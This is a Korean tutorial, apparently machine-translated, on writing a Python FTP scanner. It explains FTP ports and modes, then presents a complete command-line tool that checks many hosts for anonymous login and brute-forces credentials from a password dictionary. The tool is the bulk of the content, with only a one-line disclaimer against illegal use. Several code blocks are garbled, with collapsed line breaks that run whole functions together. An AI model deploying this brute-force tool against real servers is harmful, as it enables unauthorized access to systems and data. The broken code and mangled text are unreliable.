Python FTP 약 구령 스캐너 구현 방법 예시

FTP 서버
FTP 서버 는 인터넷 에서 파일 저장 과 접근 서 비 스 를 제공 하 는 컴퓨터 로 FTP 프로 토 콜 에 따라 서 비 스 를 제공한다.FTP 는 File Transfer Protocol(파일 전송 프로 토 콜)의 줄 임 말이다.말 그대로 파일 전송 을 위 한 프로 토 콜 입 니 다.쉽게 말 하면 FTP 프로 토 콜 을 지원 하 는 서버 는 FTP 서버 입 니 다.
FTP 는 TCP 기반 서비스 로 UDP 를 지원 하지 않 습 니 다.남 다른 것 은 FTP 는 2 개의 포트,1 개의 데이터 포트,1 개의 명령 포트(제어 포트 라 고도 함)를 사용 합 니 다.일반적으로 이 두 포트 는 각각 21(명명 포트)과 20(데이터 포트)이다.그러나 FTP 작업 방식 에 따라 데이터 포트 가 항상 20.이 는 주동 적 이 고 수 동적 인 FTP 와 가장 큰 차이 점 이 아니다.
주동 FTPFTP 서버 의 제어 포트 는 21 이 고 데이터 포트 는 20 이기 때문에 정적 맵 을 할 때 21 포트 만 열 면 됩 니 다.그 는 20 포트 와 클 라 이언 트 로 주동 적 으로 연결 합 니 다.
피 동 FTP서버 의 제어 포트 는 21 이 고 데이터 포트 는 무 작위 이 며 클 라 이언 트 가 대응 하 는 데이터 포트 를 연결 하기 때문에 정적 맵 을 하면 21 포트 만 열 수 없습니다.
FTP 스 캔 실현 방안
익명 FTP 검색
FTP 익명 로그 인 스 캔 은 주로 일괄 스 캔 과 함께 하나의 FTP 서버 를 대상 으로 스 캔 을 하면 성 공률 이 적 습 니 다.많은 사이트 에서 FTP 서 비 스 를 개방 하여 사용자 가 자원 을 다운로드 하 는 것 을 편리 하 게 한다(이것 은 익명 로그 인 을 허용 하 는 것 은 이상 하지 않다).더욱 미 친 것 은 사이트 관리자 가 사이트 방문 소프트웨어 의 업 데 이 트 를 편리 하 게 하기 위해 FTP 익명 로그 인 을 개방 하여 우리 에 게 많은 기 회 를 주 었 다.특히 후자 의 서비스 기 는 공격 을 받 기 쉽다.
FTP 약 구령 스 캔
약 한 암호 스 캔 은 사실 폭력 적 인 해결 이지 만 우 리 는 간단 한 암호 조합 만 스 캔 할 뿐 모든 가능 한 암호 조합 은 아니다.
순서
FTP 익명 스캐너 구현
여기에 Python 의 ftplib 라 이브 러 리 에 있 는 FTP 라 이브 러 리 를 사용 해 야 합 니 다.이 종 류 는 FTP 클 라 이언 트 의 대부분 기능 을 실현 합 니 다.예 를 들 어 FTP 서버 연결,서버 에 있 는 파일 보기,업로드,파일 다운로드 등 기능 을 볼 수 있 습 니 다.상세 한 용법 은 API 를 볼 수 있 습 니 다.그 다음 에 저 희 는 먼저 anonScan(hostname)이라는 함 수 를 정의 하여 익명 으로 로그 인 할 수 있 는 FTP 서버 를 검색 할 수 있 습 니 다.코드 는 다음 과 같 습 니 다:

def anonScan(hostname):      #       
  try:
    with FTP(hostname) as ftp: #   FTP  
      ftp.login()      # FTP    
      print("
[*]" + str(hostname) + " FTP Anonymous login successful!") return True except Exception as e: # print("
[-]" + str(hostname) + " FTP Anonymous login failure!") return False
코드 가 짧 고 주석 도 잘 쓰 여 있 습 니 다.함수 의 방향 을 말씀 드 리 겠 습 니 다.먼저 호스트 이름 으로 FTP 대상(즉 ftp)을 만 든 다음 에 ftp 로 인자 가 없 는 login()함 수 를 호출 하면 이 FTP 서버 에 익명 으로 로그 인 하 겠 다 는 뜻 입 니 다.로그 인 과정 에서 이상 이 없 으 면 익명 로그 인 에 성공 한 것 을 나타 냅 니 다.그렇지 않 으 면 익명 로그 인 에 실 패 했 습 니 다.
FTP 약 구령 스 캔
FTP 약 한 암호 스 캔 은 사용자 이름과 암호 사전,암호 사전 다운로드 에 의존 합 니 다.다운로드 후 pwd.txt 라 고 명명 합 니 다.
다음은 사전 의 형식 에 따라 FTP 약 구령 스 캔 을 실현 하고 코드 파일 ftp Scanner.py 를 만 듭 니 다.코드 는 다음 과 같 습 니 다.

def vlcLogin(hostname, pwdFile):        # Parameters (hostname, dictionary file)
  try:
    with open(pwdFile, 'r') as pf:     # Open dictionary file
      for line in pf.readlines():
        userName = line.split(':')[0]  # Fetch username
        passWord = line.split(':')[1].strip('\r').strip('
') # Fetch password print('[+] Trying: ' + userName + ':' + passWord) try: with FTP(hostname) as ftp: ftp.login(userName, passWord) print('
[+] ' + str(hostname) + ' FTP Login successful: '+ \ userName + ':' + passWord) return (userName, passWord) except Exception as e: # Continue trying other usernames and passwords pass except IOError as e: print('Error: the password file does not exist!') print('
[-] Cannot crack the FTP password, please change the password dictionary try again!') return (None,None)
이 코드 는 사전 에서 사용자 이름과 비밀 번 호 를 반복 해서 읽 고 로그 인 을 시도 하 는 것 입 니 다.로그 인 에 성공 하면 사용자 이름과 비밀 번 호 를 찾 을 수 있 음 을 나타 냅 니 다.이 함수 가 호스트 이름 을'분할 가능 한 문자열'로 정의 하기 때 문 입 니 다.암 호 를 찾 으 면 프로그램 을 종료 하지 않 고 다른 호스트 의 약 한 암 호 를 계속 스 캔 합 니 다.모든 호스트 가 스 캔 할 때 까지.
명령 행 해석
이로써 FTP 스캐너 는 거의 완성 되 었 습 니 다.현재 우리 가 해 야 할 일 은 어떤 호스트 를 스 캔 하 는 지 제어 하기 위해 명령 행 입력 을 처리 할 수 있 도록 하 는 것 입 니 다.명령 행 인 자 는 Python 의 argparse 라 이브 러 리 를 사용 합 니 다.

parser = argparse.ArgumentParser(description='FTP Scanner')
  parser.add_argument('-H',dest='hostName',help='The host list with ","space')
  parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
  options = None
  try:
    options = parser.parse_args()

  except:
    print(parser.parse_args(['-h']))
    exit(0)

  hostNames = str(options.hostName).split(',')
  pwdFile = options.pwdFile

모든 코드 통합

# -*- coding: utf-8 -*-
from ftplib import *
import argparse
import time

# Anonymous login scan
def anonScan(hostname):      # The parameter is the host name
  try:
    with FTP(hostname) as ftp: # Create FTP object
      ftp.login()      # FTP anonymous login
      print("
[*]" + str(hostname) + " FTP Anonymous login successful!") return True except Exception as e: # Throwing an exception indicates that the anonymous login failed print("
[-]" + str(hostname) + " FTP Anonymous login failure!") return False # Brute force def vlcLogin(hostname, pwdFile): # Parameters (hostname, dictionary file) try: with open(pwdFile, 'r') as pf: # Open dictionary file for line in pf.readlines(): userName = line.split(':')[0] # Fetch username passWord = line.split(':')[1].strip('\r').strip('
') # Fetch password print('[+] Trying: ' + userName + ':' + passWord) try: with FTP(hostname) as ftp: ftp.login(userName, passWord) print('
[+] ' + str(hostname) + ' FTP Login successful: '+ \ userName + ':' + passWord) return (userName, passWord) except Exception as e: # Continue trying other usernames and passwords pass except IOError as e: print('Error: the password file does not exist!') print('
[-] Cannot crack the FTP password, please change the password dictionary try again!') return (None,None) def main(): parser = argparse.ArgumentParser(description='FTP Scanner') parser.add_argument('-H',dest='hostName',help='The host list with ","space') parser.add_argument('-f',dest='pwdFile',help='Password dictionary file') options = None try: options = parser.parse_args() except: print(parser.parse_args(['-h'])) exit(0) hostNames = str(options.hostName).split(',') pwdFile = options.pwdFile if hostNames == ['None']: print(parser.parse_args(['-h'])) exit(0) for hostName in hostNames: username = None password = None if anonScan(hostName) == True: print('Host: ' + hostName + ' Can anonymously!') elif pwdFile != None: (username,password) = vlcLogin(hostName,pwdFile) if password != None: print('
[+] Host: ' + hostName + 'Username: ' + username + \ 'Password: ' + password) print('
[*]-------------------Scan End!--------------------[*]') if __name__ == '__main__': main()
테스트 스캐닝
이로써 우리 의 FTP 약 구령 스캐너 를 테스트 할 수 있 습 니 다.명령 행 에 입력 하 십시오.

python ftpScanner.py -H 127.0.0.1 -f pwd.txt

로 컬 에서 ftp 서 비 스 를 시작 하지 않 았 기 때문에 스 캔 이 성공 하지 못 했 습 니 다.서버 에서 FTP 서 비 스 를 열 고 테스트 를 해 보 세 요.불법 용도 로 사용 할 수 없습니다.
이상 이 바로 본 고의 모든 내용 입 니 다.여러분 의 학습 에 도움 이 되 고 저 희 를 많이 응원 해 주 셨 으 면 좋 겠 습 니 다.

좋은 웹페이지 즐겨찾기